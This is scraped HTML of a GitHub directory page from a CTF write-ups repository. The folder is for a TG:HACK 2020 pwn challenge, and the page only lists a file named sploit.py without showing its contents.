11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>2</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":162845937,"originating_url":"https://github.com/KEERRO/ctf-writeups/tree/master/TG:HACK%202020/pwn/The%20Biohacker's%20Herbarium%20Service","user_id":null}}" data-hydro-click-hmac="e39a3a9ac4df410b754e230236bfa0942b8ab9d620a10f93a61146358ac6f141"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1647876588.2277062" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>TG:HACK 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>The Biohacker's Herbarium Service<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>TG:HACK 2020</span></span><span>/</span><span><span>pwn</span></span><span>/</span>The Biohacker's Herbarium Service<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/06bbaff46db8a3bdd138b18de938f9440e4e83b8/TG:HACK%202020/pwn/The%20Biohacker's%20Herbarium%20Service" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/KEERRO/ctf-writeups/file-list/master/TG:HACK%202020/pwn/The%20Biohacker's%20Herbarium%20Service"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> 